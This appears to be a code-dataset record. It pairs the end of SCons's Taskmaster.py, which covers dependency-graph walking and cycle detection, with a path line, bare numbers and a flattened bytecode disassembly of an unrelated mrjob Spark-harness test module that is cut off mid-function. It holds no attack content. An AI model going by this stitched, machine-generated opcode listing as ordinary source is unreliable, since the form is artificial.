This is used, for example, when invoking SCons in a source directory. A source directory Node can return its corresponding build directory Node, essentially saying, "Hey, you really need to build this thing over here instead." """ try: return self.candidates.pop() except IndexError: pass try: node = self.top_targets_left.pop() except IndexError: return None self.current_top = node alt, message = node.alter_targets() if alt: self.message = message self.candidates.append(node) self.candidates.extend(self.order(alt)) node = self.candidates.pop() return node def no_next_candidate(self): """ Stops Taskmaster processing by not returning a next candidate. Note that we have to clean-up the Taskmaster candidate list because the cycle detection depends on the fact all nodes have been processed somehow. """ while self.candidates: candidates = self.candidates self.candidates = [] self.will_not_build(candidates) return None def _validate_pending_children(self): """ Validate the content of the pending_children set. Assert if an internal error is found. This function is used strictly for debugging the taskmaster by checking that no invariants are violated. It is not used in normal operation. The pending_children set is used to detect cycles in the dependency graph. We call a "pending child" a child that is found in the "pending" state when checking the dependencies of its parent node. A pending child can occur when the Taskmaster completes a loop through a cycle. For example, let's imagine a graph made of three nodes (A, B and C) making a cycle. The evaluation starts at node A. The Taskmaster first considers whether node A's child B is up-to-date. Then, recursively, node B needs to check whether node C is up-to-date. This leaves us with a dependency graph looking like:: Next candidate \ \ Node A (Pending) --> Node B(Pending) --> Node C (NoState) ^ | | | +-------------------------------------+ Now, when the Taskmaster examines the Node C's child Node A, it finds that Node A is in the "pending" state. Therefore, Node A is a pending child of node C. Pending children indicate that the Taskmaster has potentially loop back through a cycle. We say potentially because it could also occur when a DAG is evaluated in parallel. For example, consider the following graph:: Node A (Pending) --> Node B(Pending) --> Node C (Pending) --> ... | ^ | | +----------> Node D (NoState) --------+ / Next candidate / The Taskmaster first evaluates the nodes A, B, and C and starts building some children of node C. Assuming, that the maximum parallel level has not been reached, the Taskmaster will examine Node D. It will find that Node C is a pending child of Node D. In summary, evaluating a graph with a cycle will always involve a pending child at one point. A pending child might indicate either a cycle or a diamond-shaped DAG. Only a fraction of the nodes ends-up being a "pending child" of another node. This keeps the pending_children set small in practice. We can differentiate between the two cases if we wait until the end of the build. At this point, all the pending children nodes due to a diamond-shaped DAG will have been properly built (or will have failed to build). But, the pending children involved in a cycle will still be in the pending state. The taskmaster removes nodes from the pending_children set as soon as a pending_children node moves out of the pending state. This also helps to keep the pending_children set small. """ for n in self.pending_children: assert n.state in (NODE_PENDING, NODE_EXECUTING), ( str(n), StateString[n.state], ) assert len(n.waiting_parents) != 0, (str(n), len(n.waiting_parents)) for p in n.waiting_parents: assert p.ref_count > 0, (str(n), str(p), p.ref_count) def trace_message(self, message): return "Taskmaster: %s\n" % message def trace_node(self, node): return "<%-10s %-3s %s>" % ( StateString[node.get_state()], node.ref_count, repr(str(node)), ) def _find_next_ready_node(self): """ Finds the next node that is ready to be built. This is *the* main guts of the DAG walk. We loop through the list of candidates, looking for something that has no un-built children (i.e., that is a leaf Node or has dependencies that are all leaf Nodes or up-to-date). Candidate Nodes are re-scanned (both the target Node itself and its sources, which are always scanned in the context of a given target) to discover implicit dependencies. A Node that must wait for some children to be built will be put back on the candidates list after the children have finished building. A Node that has been put back on the candidates list in this way may have itself (or its sources) re-scanned, in order to handle generated header files (e.g.) and the implicit dependencies therein. Note that this method does not do any signature calculation or up-to-date check itself. All of that is handled by the Task class. This is purely concerned with the dependency graph walk. """ self.ready_exc = None T = self.trace if T: T.write( SCons.Util.UnicodeType("\n") + self.trace_message("Looking for a node to evaluate") ) while True: node = self.next_candidate() if node is None: if T: T.write(self.trace_message("No candidate anymore.") + "\n") return None node = node.disambiguate() state = node.get_state() if CollectStats: if not hasattr(node.attributes, "stats"): node.attributes.stats = Stats() StatsNodes.append(node) S = node.attributes.stats S.considered = S.considered + 1 else: S = None if T: T.write( self.trace_message( " Considering node %s and its children:" % self.trace_node(node) ) ) if state == NODE_NO_STATE: node.set_state(NODE_PENDING) elif state > NODE_PENDING: if S: S.already_handled = S.already_handled + 1 if T: T.write(self.trace_message(" already handled (executed)")) continue executor = node.get_executor() try: children = executor.get_all_children() except SystemExit: exc_value = sys.exc_info()[1] e = SCons.Errors.ExplicitExit(node, exc_value.code) self.ready_exc = (SCons.Errors.ExplicitExit, e) if T: T.write(self.trace_message(" SystemExit")) return node except Exception as e: self.ready_exc = sys.exc_info() if S: S.problem = S.problem + 1 if T: T.write( self.trace_message( " exception %s while scanning children.\n" % e ) ) return node children_not_visited = [] children_pending = set() children_not_ready = [] children_failed = False for child in chain(executor.get_all_prerequisites(), children): childstate = child.get_state() if T: T.write(self.trace_message(" " + self.trace_node(child))) if childstate == NODE_NO_STATE: children_not_visited.append(child) elif childstate == NODE_PENDING: children_pending.add(child) elif childstate == NODE_FAILED: children_failed = True if childstate <= NODE_EXECUTING: children_not_ready.append(child) if children_not_visited: if len(children_not_visited) > 1: children_not_visited.reverse() self.candidates.extend(self.order(children_not_visited)) if children_failed: for n in executor.get_action_targets(): n.set_state(NODE_FAILED) if S: S.child_failed = S.child_failed + 1 if T: T.write(self.trace_message("****** %s\n" % self.trace_node(node))) continue if children_not_ready: for child in children_not_ready: if S: S.not_built = S.not_built + 1 node.ref_count = node.ref_count + child.add_to_waiting_parents(node) if T: T.write( self.trace_message( " adjusted ref count: %s, child %s" % (self.trace_node(node), repr(str(child))) ) ) if T: for pc in children_pending: T.write( self.trace_message( " adding %s to the pending children set\n" % self.trace_node(pc) ) ) self.pending_children = self.pending_children | children_pending continue wait_side_effects = False for se in executor.get_action_side_effects(): if se.get_state() == NODE_EXECUTING: se.add_to_waiting_s_e(node) wait_side_effects = True if wait_side_effects: if S: S.side_effects = S.side_effects + 1 continue if S: S.build = S.build + 1 if T: T.write(self.trace_message("Evaluating %s\n" % self.trace_node(node))) return node return None def next_task(self): """ Returns the next task to be executed. This simply asks for the next Node to be evaluated, and then wraps it in the specific Task subclass with which we were initialized. """ node = self._find_next_ready_node() if node is None: return None executor = node.get_executor() if executor is None: return None tlist = executor.get_all_targets() task = self.tasker(self, tlist, node in self.original_top, node) try: task.make_ready() except Exception as e: self.ready_exc = sys.exc_info() if self.ready_exc: task.exception_set(self.ready_exc) self.ready_exc = None return task def will_not_build(self, nodes, node_func=lambda n: None): """ Perform clean-up about nodes that will never be built. Invokes a user defined function on all of these nodes (including all of their parents). """ T = self.trace pending_children = self.pending_children to_visit = set(nodes) pending_children = pending_children - to_visit if T: for n in nodes: T.write( self.trace_message( " removing node %s from the pending children set\n" % self.trace_node(n) ) ) try: while len(to_visit): node = to_visit.pop() node_func(node) parents = node.waiting_parents node.waiting_parents = set() to_visit = to_visit | parents pending_children = pending_children - parents for p in parents: p.ref_count = p.ref_count - 1 if T: T.write( self.trace_message( " removing parent %s from the pending children set\n" % self.trace_node(p) ) ) except KeyError: pass self.pending_children = pending_children def stop(self): """ Stops the current build completely. """ self.next_candidate = self.no_next_candidate def cleanup(self): """ Check for dependency cycles. """ if not self.pending_children: return nclist = [(n, find_cycle([n], set())) for n in self.pending_children] genuine_cycles = [ node for node, cycle in nclist if cycle or node.get_state() != NODE_EXECUTED ] if not genuine_cycles: return desc = "Found dependency cycle(s):\n" for node, cycle in nclist: if cycle: desc = desc + " " + " -> ".join(map(str, cycle)) + "\n" else: desc = ( desc + " Internal Error: no cycle found for node %s (%s) in state %s\n" % (node, repr(node), StateString[node.get_state()]) ) raise SCons.Errors.UserError(desc)
data/Nuitka-2.0.3/nuitka/build/inline_copy/lib/scons-3.1.2/SCons/Taskmaster.py
12,171
9,020
148,869
LOAD_CONST 'Test the Spark Harness.' STORE_NAME __doc__ LOAD_CONST 0 LOAD_CONST None IMPORT_NAME inspect STORE_NAME inspect LOAD_CONST 0 LOAD_CONST None IMPORT_NAME random STORE_NAME random LOAD_CONST 0 LOAD_CONST None IMPORT_NAME string STORE_NAME string LOAD_CONST 0 LOAD_CONST None IMPORT_NAME json STORE_NAME json LOAD_CONST 0 LOAD_CONST ('BytesIO',) IMPORT_NAME io IMPORT_FROM BytesIO STORE_NAME BytesIO POP_TOP LOAD_CONST 0 LOAD_CONST ('contextmanager',) IMPORT_NAME contextlib IMPORT_FROM contextmanager STORE_NAME contextmanager POP_TOP LOAD_CONST 0 LOAD_CONST ('listdir',) IMPORT_NAME os IMPORT_FROM listdir STORE_NAME listdir POP_TOP LOAD_CONST 0 LOAD_CONST ('abspath',) IMPORT_NAME os.path IMPORT_FROM abspath STORE_NAME abspath POP_TOP LOAD_CONST 0 LOAD_CONST ('dirname',) IMPORT_NAME os.path IMPORT_FROM dirname STORE_NAME dirname POP_TOP LOAD_CONST 0 LOAD_CONST ('join',) IMPORT_NAME os.path IMPORT_FROM join STORE_NAME join POP_TOP LOAD_CONST 0 LOAD_CONST ('gettempdir',) IMPORT_NAME tempfile IMPORT_FROM gettempdir STORE_NAME gettempdir POP_TOP LOAD_CONST 0 LOAD_CONST ('rmtree',) IMPORT_NAME shutil IMPORT_FROM rmtree STORE_NAME rmtree POP_TOP LOAD_CONST 0 LOAD_CONST ('skipIf',) IMPORT_NAME unittest IMPORT_FROM skipIf STORE_NAME skipIf POP_TOP LOAD_CONST 0 LOAD_CONST ('MRCountLinesByFile',) IMPORT_NAME mrjob.examples.mr_count_lines_by_file IMPORT_FROM MRCountLinesByFile STORE_NAME MRCountLinesByFile POP_TOP LOAD_CONST 0 LOAD_CONST ('MRNickNack',) IMPORT_NAME mrjob.examples.mr_nick_nack IMPORT_FROM MRNickNack STORE_NAME MRNickNack POP_TOP LOAD_CONST 0 LOAD_CONST ('MRNickNackWithHadoopInputFormat',) IMPORT_NAME mrjob.examples.mr_nick_nack_input_format IMPORT_FROM MRNickNackWithHadoopInputFormat STORE_NAME MRNickNackWithHadoopInputFormat POP_TOP LOAD_CONST 0 LOAD_CONST ('MRWordFreqCount',) IMPORT_NAME mrjob.examples.mr_word_freq_count IMPORT_FROM MRWordFreqCount STORE_NAME MRWordFreqCount POP_TOP LOAD_CONST 0 LOAD_CONST ('MRJob',) IMPORT_NAME mrjob.job IMPORT_FROM MRJob STORE_NAME MRJob POP_TOP LOAD_CONST 0 LOAD_CONST ('cmd_line',) IMPORT_NAME mrjob.util IMPORT_FROM cmd_line STORE_NAME cmd_line POP_TOP LOAD_CONST 0 LOAD_CONST ('to_lines',) IMPORT_NAME mrjob.util IMPORT_FROM to_lines STORE_NAME to_lines POP_TOP LOAD_CONST 0 LOAD_CONST ('MRCountingJob',) IMPORT_NAME tests.mr_counting_job IMPORT_FROM MRCountingJob STORE_NAME MRCountingJob POP_TOP LOAD_CONST 0 LOAD_CONST ('MRDoubler',) IMPORT_NAME tests.mr_doubler IMPORT_FROM MRDoubler STORE_NAME MRDoubler POP_TOP LOAD_CONST 0 LOAD_CONST ('MRNoMapper',) IMPORT_NAME tests.mr_no_mapper IMPORT_FROM MRNoMapper STORE_NAME MRNoMapper POP_TOP LOAD_CONST 0 LOAD_CONST ('MRPassThruArgTest',) IMPORT_NAME tests.mr_pass_thru_arg_test IMPORT_FROM MRPassThruArgTest STORE_NAME MRPassThruArgTest POP_TOP LOAD_CONST 0 LOAD_CONST ('MRStreamingAndSpark',) IMPORT_NAME tests.mr_streaming_and_spark IMPORT_FROM MRStreamingAndSpark STORE_NAME MRStreamingAndSpark POP_TOP LOAD_CONST 0 LOAD_CONST ('MRSortAndGroup',) IMPORT_NAME tests.mr_sort_and_group IMPORT_FROM MRSortAndGroup STORE_NAME MRSortAndGroup POP_TOP LOAD_CONST 0 LOAD_CONST ('MRSortAndGroupReversedText',) IMPORT_NAME tests.mr_sort_and_group_reversed_text IMPORT_FROM MRSortAndGroupReversedText STORE_NAME MRSortAndGroupReversedText POP_TOP LOAD_CONST 0 LOAD_CONST ('MRTwoStepJob',) IMPORT_NAME tests.mr_two_step_job IMPORT_FROM MRTwoStepJob STORE_NAME MRTwoStepJob POP_TOP LOAD_CONST 0 LOAD_CONST ('MRWordFreqCountWithCombinerCmd',) IMPORT_NAME tests.mr_word_freq_count_with_combiner_cmd IMPORT_FROM MRWordFreqCountWithCombinerCmd STORE_NAME MRWordFreqCountWithCombinerCmd POP_TOP LOAD_CONST 0 LOAD_CONST ('Mock',) IMPORT_NAME tests.py2 IMPORT_FROM Mock STORE_NAME Mock POP_TOP LOAD_CONST 0 LOAD_CONST ('pyspark',) IMPORT_NAME tests.sandbox IMPORT_FROM pyspark STORE_NAME pyspark POP_TOP LOAD_CONST 0 LOAD_CONST ('SandboxedTestCase',) IMPORT_NAME tests.sandbox IMPORT_FROM SandboxedTestCase STORE_NAME SandboxedTestCase POP_TOP LOAD_CONST 0 LOAD_CONST ('SingleSparkContextTestCase',) IMPORT_NAME tests.sandbox IMPORT_FROM SingleSparkContextTestCase STORE_NAME SingleSparkContextTestCase POP_TOP LOAD_BUILD_CLASS LOAD_CONST <code object MRWordFreqCountCombinerYieldsTwo at 0x7fab80068390, file "f.py", line 39> LOAD_CONST 'MRWordFreqCountCombinerYieldsTwo' MAKE_FUNCTION LOAD_CONST 'MRWordFreqCountCombinerYieldsTwo' LOAD_NAME MRWordFreqCount CALL_FUNCTION STORE_NAME MRWordFreqCountCombinerYieldsTwo LOAD_BUILD_CLASS LOAD_CONST <code object MRWordFreqCountCombinerYieldsZero at 0x7fab800680c0, file "f.py", line 45> LOAD_CONST 'MRWordFreqCountCombinerYieldsZero' MAKE_FUNCTION LOAD_CONST 'MRWordFreqCountCombinerYieldsZero' LOAD_NAME MRWordFreqCount CALL_FUNCTION STORE_NAME MRWordFreqCountCombinerYieldsZero LOAD_BUILD_CLASS LOAD_CONST <code object MRWordFreqCountFailingCombiner at 0x7fab80068300, file "f.py", line 50> LOAD_CONST 'MRWordFreqCountFailingCombiner' MAKE_FUNCTION LOAD_CONST 'MRWordFreqCountFailingCombiner' LOAD_NAME MRWordFreqCount CALL_FUNCTION STORE_NAME MRWordFreqCountFailingCombiner LOAD_BUILD_CLASS LOAD_CONST <code object MRSumValuesByWord at 0x7fa90e62b300, file "f.py", line 57> LOAD_CONST 'MRSumValuesByWord' MAKE_FUNCTION LOAD_CONST 'MRSumValuesByWord' LOAD_NAME MRJob CALL_FUNCTION STORE_NAME MRSumValuesByWord LOAD_BUILD_CLASS LOAD_CONST <code object MRSumValuesByWordWithCombinerPreFilter at 0x7fa90e62bae0, file "f.py", line 71> LOAD_CONST 'MRSumValuesByWordWithCombinerPreFilter' MAKE_FUNCTION LOAD_CONST 'MRSumValuesByWordWithCombinerPreFilter' LOAD_NAME MRSumValuesByWord CALL_FUNCTION STORE_NAME MRSumValuesByWordWithCombinerPreFilter LOAD_BUILD_CLASS LOAD_CONST <code object MRSumValuesByWordWithNoCombinerJobs at 0x7fa90e62b540, file "f.py", line 76> LOAD_CONST 'MRSumValuesByWordWithNoCombinerJobs' MAKE_FUNCTION LOAD_CONST 'MRSumValuesByWordWithNoCombinerJobs' LOAD_NAME MRSumValuesByWord CALL_FUNCTION STORE_NAME MRSumValuesByWordWithNoCombinerJobs LOAD_NAME skipIf LOAD_NAME pyspark LOAD_CONST None COMPARE_OP is LOAD_CONST 'no pyspark module' CALL_FUNCTION LOAD_BUILD_CLASS LOAD_CONST <code object SparkHarnessOutputComparisonBaseTestCase at 0x7fa90e62b8a0, file "f.py", line 84> LOAD_CONST 'SparkHarnessOutputComparisonBaseTestCase' MAKE_FUNCTION LOAD_CONST 'SparkHarnessOutputComparisonBaseTestCase' LOAD_NAME SandboxedTestCase LOAD_NAME SingleSparkContextTestCase CALL_FUNCTION CALL_FUNCTION STORE_NAME SparkHarnessOutputComparisonBaseTestCase LOAD_BUILD_CLASS LOAD_CONST <code object SparkHarnessOutputComparisonTestCase at 0x7fab80162b70, file "f.py", line 224> LOAD_CONST 'SparkHarnessOutputComparisonTestCase' MAKE_FUNCTION LOAD_CONST 'SparkHarnessOutputComparisonTestCase' LOAD_NAME SparkHarnessOutputComparisonBaseTestCase CALL_FUNCTION STORE_NAME SparkHarnessOutputComparisonTestCase LOAD_BUILD_CLASS LOAD_CONST <code object SkipInternalProtocolTestCase at 0x7fab81f3b810, file "f.py", line 475> LOAD_CONST 'SkipInternalProtocolTestCase' MAKE_FUNCTION LOAD_CONST 'SkipInternalProtocolTestCase' LOAD_NAME SparkHarnessOutputComparisonBaseTestCase CALL_FUNCTION STORE_NAME SkipInternalProtocolTestCase LOAD_BUILD_CLASS LOAD_CONST <code object SparkConfigureReducerTestCase at 0x7fab81f3b930, file "f.py", line 518> LOAD_CONST 'SparkConfigureReducerTestCase' MAKE_FUNCTION LOAD_CONST 'SparkConfigureReducerTestCase' LOAD_NAME SparkHarnessOutputComparisonBaseTestCase CALL_FUNCTION STORE_NAME SparkConfigureReducerTestCase LOAD_BUILD_CLASS LOAD_CONST <code object MaxOutputFilesTestCase at 0x7fab81f3bae0, file "f.py", line 557> LOAD_CONST 'MaxOutputFilesTestCase' MAKE_FUNCTION LOAD_CONST 'MaxOutputFilesTestCase' LOAD_NAME SparkHarnessOutputComparisonBaseTestCase CALL_FUNCTION STORE_NAME MaxOutputFilesTestCase LOAD_BUILD_CLASS LOAD_CONST <code object HadoopFormatsTestCase at 0x7fab64010300, file "f.py", line 609> LOAD_CONST 'HadoopFormatsTestCase' MAKE_FUNCTION LOAD_CONST 'HadoopFormatsTestCase' LOAD_NAME SparkHarnessOutputComparisonBaseTestCase CALL_FUNCTION STORE_NAME HadoopFormatsTestCase LOAD_BUILD_CLASS LOAD_CONST <code object EmulateMapInputFileTestCase at 0x7fab64010420, file "f.py", line 709> LOAD_CONST 'EmulateMapInputFileTestCase' MAKE_FUNCTION LOAD_CONST 'EmulateMapInputFileTestCase' LOAD_NAME SparkHarnessOutputComparisonBaseTestCase CALL_FUNCTION STORE_NAME EmulateMapInputFileTestCase LOAD_NAME skipIf LOAD_NAME pyspark LOAD_CONST None COMPARE_OP is LOAD_CONST 'no pyspark module' CALL_FUNCTION LOAD_BUILD_CLASS LOAD_CONST <code object PreservesPartitioningTestCase at 0x7fab64030030, file "f.py", line 720> LOAD_CONST 'PreservesPartitioningTestCase' MAKE_FUNCTION LOAD_CONST 'PreservesPartitioningTestCase' LOAD_NAME SandboxedTestCase CALL_FUNCTION CALL_FUNCTION STORE_NAME PreservesPartitioningTestCase LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'MRWordFreqCountCombinerYieldsTwo' STORE_NAME __qualname__ LOAD_CONST <code object combiner at 0x7fab80068780, file "f.py", line 40> LOAD_CONST 'MRWordFreqCountCombinerYieldsTwo.combiner' MAKE_FUNCTION STORE_NAME combiner LOAD_CONST None RETURN_VALUE LOAD_FAST word LOAD_GLOBAL sum LOAD_FAST counts CALL_FUNCTION BUILD_TUPLE YIELD_VALUE POP_TOP LOAD_FAST word LOAD_CONST 1000 BUILD_TUPLE YIELD_VALUE POP_TOP LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'MRWordFreqCountCombinerYieldsZero' STORE_NAME __qualname__ LOAD_CONST <code object combiner at 0x7fab800689c0, file "f.py", line 46> LOAD_CONST 'MRWordFreqCountCombinerYieldsZero.combiner' MAKE_FUNCTION STORE_NAME combiner LOAD_CONST None RETURN_VALUE LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'MRWordFreqCountFailingCombiner' STORE_NAME __qualname__ LOAD_CONST '619dc867a1a34793b2157c258c859e78' STORE_NAME unique_exception_str LOAD_CONST <code object combiner at 0x7fab80068f60, file "f.py", line 53> LOAD_CONST 'MRWordFreqCountFailingCombiner.combiner' MAKE_FUNCTION STORE_NAME combiner LOAD_CONST None RETURN_VALUE LOAD_GLOBAL Exception LOAD_FAST self LOAD_ATTR unique_exception_str CALL_FUNCTION RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'MRSumValuesByWord' STORE_NAME __qualname__ LOAD_CONST <code object mapper at 0x7fab80068660, file "f.py", line 58> LOAD_CONST 'MRSumValuesByWord.mapper' MAKE_FUNCTION STORE_NAME mapper LOAD_CONST <code object combiner at 0x7fab800688a0, file "f.py", line 62> LOAD_CONST 'MRSumValuesByWord.combiner' MAKE_FUNCTION STORE_NAME combiner LOAD_CONST <code object reducer at 0x7fab80068420, file "f.py", line 67> LOAD_CONST 'MRSumValuesByWord.reducer' MAKE_FUNCTION STORE_NAME reducer LOAD_CONST None RETURN_VALUE LOAD_FAST line LOAD_METHOD split LOAD_CONST '\t' LOAD_CONST 1 CALL_METHOD UNPACK_SEQUENCE STORE_FAST word STORE_FAST value_str LOAD_FAST word LOAD_GLOBAL int LOAD_FAST value_str CALL_FUNCTION BUILD_TUPLE YIELD_VALUE POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL sum LOAD_FAST values CALL_FUNCTION STORE_FAST values_sum LOAD_FAST values_sum LOAD_CONST 0 COMPARE_OP != POP_JUMP_IF_FALSE LOAD_FAST word LOAD_FAST values_sum BUILD_TUPLE YIELD_VALUE POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST word LOAD_GLOBAL sum LOAD_FAST values CALL_FUNCTION BUILD_TUPLE YIELD_VALUE POP_TOP LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'MRSumValuesByWordWithCombinerPreFilter' STORE_NAME __qualname__ LOAD_CONST <code object combiner_pre_filter at 0x7fa90e62b9c0, file "f.py", line 72> LOAD_CONST 'MRSumValuesByWordWithCombinerPreFilter.combiner_pre_filter' MAKE_FUNCTION STORE_NAME combiner_pre_filter LOAD_CONST None RETURN_VALUE LOAD_CONST 'cat' RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'MRSumValuesByWordWithNoCombinerJobs' STORE_NAME __qualname__ LOAD_CLOSURE __class__ BUILD_TUPLE LOAD_CONST <code object __init__ at 0x7fa90e62bb70, file "f.py", line 77> LOAD_CONST 'MRSumValuesByWordWithNoCombinerJobs.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_CLOSURE __class__ DUP_TOP STORE_NAME __classcell__ RETURN_VALUE LOAD_GLOBAL super LOAD_GLOBAL MRSumValuesByWordWithNoCombinerJobs LOAD_FAST self CALL_FUNCTION LOAD_ATTR __init__ LOAD_FAST args LOAD_FAST kwargs CALL_FUNCTION POP_TOP LOAD_FAST self LOAD_ATTR options LOAD_ATTR run_combiner POP_JUMP_IF_FALSE LOAD_GLOBAL NotImplementedError LOAD_CONST "Can't init combiner jobs" CALL_FUNCTION RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'SparkHarnessOutputComparisonBaseTestCase' STORE_NAME __qualname__ LOAD_CONST <code object _spark_harness_path at 0x7fa90e62bf60, file "f.py", line 88> LOAD_CONST 'SparkHarnessOutputComparisonBaseTestCase._spark_harness_path' MAKE_FUNCTION STORE_NAME _spark_harness_path LOAD_CONST b'' LOAD_CONST () LOAD_CONST 'inline' BUILD_LIST BUILD_TUPLE LOAD_CONST <code object _reference_job at 0x7fa90e62b4b0, file "f.py", line 96> LOAD_CONST 'SparkHarnessOutputComparisonBaseTestCase._reference_job' MAKE_FUNCTION STORE_NAME _reference_job LOAD_CONST (b'', (), 'inline', None, None, None, None, None, None, None, None, False, False) LOAD_CONST <code object _harness_job at 0x7fa90e62b810, file "f.py", line 111> LOAD_CONST 'SparkHarnessOutputComparisonBaseTestCase._harness_job' MAKE_FUNCTION STORE_NAME _harness_job LOAD_CONST <code object _count_output_files at 0x7fa90e62b150, file "f.py", line 167> LOAD_CONST 'SparkHarnessOutputComparisonBaseTestCase._count_output_files' MAKE_FUNCTION STORE_NAME _count_output_files LOAD_CONST b'' LOAD_CONST () BUILD_LIST LOAD_CONST None LOAD_CONST None LOAD_CONST False LOAD_CONST False BUILD_TUPLE LOAD_CONST <code object _assert_output_matches at 0x7fa90e62bd20, file "f.py", line 170> LOAD_CONST 'SparkHarnessOutputComparisonBaseTestCase._assert_output_matches' MAKE_FUNCTION STORE_NAME _assert_output_matches LOAD_CONST None RETURN_VALUE LOAD_CONST 0 LOAD_CONST None IMPORT_NAME mrjob.spark.harness STORE_FAST mrjob LOAD_FAST mrjob LOAD_ATTR spark LOAD_ATTR harness LOAD_ATTR __file__ STORE_FAST path LOAD_FAST path LOAD_METHOD endswith LOAD_CONST '.pyc' CALL_METHOD POP_JUMP_IF_FALSE LOAD_FAST path LOAD_CONST None LOAD_CONST -1 BUILD_SLICE BINARY_SUBSCR STORE_FAST path LOAD_FAST path RETURN_VALUE LOAD_CONST '-r' LOAD_FAST runner_alias BUILD_LIST LOAD_GLOBAL list LOAD_FAST job_args CALL_FUNCTION BINARY_ADD LOAD_GLOBAL list LOAD_FAST input_paths CALL_FUNCTION BINARY_ADD STORE_FAST args LOAD_FAST job_class LOAD_FAST args CALL_FUNCTION STORE_FAST reference_job LOAD_FAST reference_job LOAD_ATTR sandbox LOAD_GLOBAL BytesIO LOAD_FAST input_bytes CALL_FUNCTION LOAD_CONST ('stdin',) CALL_FUNCTION POP_TOP LOAD_FAST reference_job RETURN_VALUE LOAD_CONST 0 LOAD_CONST ('MRSparkHarness',) IMPORT_NAME tests.mr_spark_harness IMPORT_FROM MRSparkHarness STORE_FAST MRSparkHarness POP_TOP LOAD_CONST '%s.%s' LOAD_FAST job_class LOAD_ATTR __module__ LOAD_FAST job_class LOAD_ATTR __name__ BUILD_TUPLE BINARY_MODULO STORE_FAST job_class_path LOAD_CONST '-r' LOAD_FAST runner_alias LOAD_CONST '--job-class' LOAD_FAST job_class_path BUILD_LIST STORE_FAST harness_job_args LOAD_FAST spark_conf POP_JUMP_IF_FALSE SETUP_LOOP to 94 LOAD_FAST spark_conf LOAD_METHOD items CALL_METHOD GET_ITER FOR_ITER to 92 UNPACK_SEQUENCE STORE_FAST key STORE_FAST value LOAD_FAST harness_job_args LOAD_METHOD append LOAD_CONST '--jobconf' CALL_METHOD POP_TOP LOAD_FAST harness_job_args LOAD_METHOD append LOAD_CONST '%s=%s' LOAD_FAST key LOAD_FAST value BUILD_TUPLE BINARY_MODULO CALL_METHOD POP_TOP JUMP_ABSOLUTE POP_BLOCK LOAD_FAST compression_codec POP_JUMP_IF_FALSE LOAD_FAST harness_job_args LOAD_METHOD append LOAD_CONST '--compression-codec' CALL_METHOD POP_TOP LOAD_FAST harness_job_args LOAD_METHOD append LOAD_FAST compression_codec CALL_METHOD POP_TOP LOAD_FAST job_args POP_JUMP_IF_FALSE LOAD_FAST harness_job_args LOAD_METHOD extend LOAD_CONST '--job-args' LOAD_GLOBAL cmd_line LOAD_FAST job_args CALL_FUNCTION BUILD_LIST CALL_METHOD POP_TOP LOAD_FAST first_step_num LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST harness_job_args LOAD_METHOD extend LOAD_CONST '--first-step-num' LOAD_GLOBAL str LOAD_FAST first_step_num CALL_FUNCTION BUILD_LIST CALL_METHOD POP_TOP LOAD_FAST last_step_num LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST harness_job_args LOAD_METHOD extend LOAD_CONST '--last-step-num' LOAD_GLOBAL str LOAD_FAST last_step_num CALL_FUNCTION BUILD_LIST CALL_METHOD POP_TOP LOAD_FAST counter_output_dir LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST harness_job_args LOAD_METHOD extend LOAD_CONST '--counter-output-dir' LOAD_FAST counter_output_dir BUILD_LIST CALL_METHOD POP_TOP LOAD_FAST num_reducers LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST harness_job_args LOAD_METHOD extend LOAD_CONST '--num-reducers' LOAD_GLOBAL str LOAD_FAST num_reducers CALL_FUNCTION BUILD_LIST CALL_METHOD POP_TOP LOAD_FAST max_output_files LOAD_CONST None COMPARE_OP is not EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST harness_job_args LOAD_METHOD extend LOAD_CONST '--max-output-files' LOAD_GLOBAL str LOAD_FAST max_output_files CALL_FUNCTION BUILD_LIST CALL_METHOD POP_TOP LOAD_FAST emulate_map_input_file EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST harness_job_args LOAD_METHOD append LOAD_CONST '--emulate-map-input-file' CALL_METHOD POP_TOP LOAD_FAST skip_internal_protocol EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST harness_job_args LOAD_METHOD append LOAD_CONST '--skip-internal-protocol' CALL_METHOD POP_TOP LOAD_FAST harness_job_args LOAD_METHOD extend LOAD_FAST input_paths CALL_METHOD POP_TOP LOAD_FAST MRSparkHarness LOAD_FAST harness_job_args CALL_FUNCTION STORE_FAST harness_job LOAD_FAST harness_job LOAD_ATTR sandbox LOAD_GLOBAL BytesIO LOAD_FAST input_bytes CALL_FUNCTION LOAD_CONST ('stdin',) CALL_FUNCTION POP_TOP LOAD_FAST harness_job RETURN_VALUE LOAD_GLOBAL sum LOAD_CONST <code object <genexpr> at 0x7fa90e62b420, file "f.py", line 168> LOAD_CONST 'SparkHarnessOutputComparisonBaseTestCase._count_output_files.<locals>.<genexpr>' MAKE_FUNCTION LOAD_GLOBAL listdir LOAD_FAST runner LOAD_METHOD get_output_dir CALL_METHOD CALL_FUNCTION GET_ITER CALL_FUNCTION CALL_FUNCTION RETURN_VALUE LOAD_FAST .0 FOR_ITER to 24 STORE_FAST f LOAD_FAST f LOAD_METHOD startswith LOAD_CONST 'part-' CALL_METHOD POP_JUMP_IF_FALSE LOAD_CONST 1 YIELD_VALUE POP_TOP JUMP_ABSOLUTE LOAD_CONST None RETURN_VALUE LOAD_FAST job_class LOAD_ATTR __module__ LOAD_GLOBAL __name__ COMPARE_OP == POP_JUMP_IF_FALSE LOAD_CONST 'inline' STORE_FAST ref_job_runner_alias 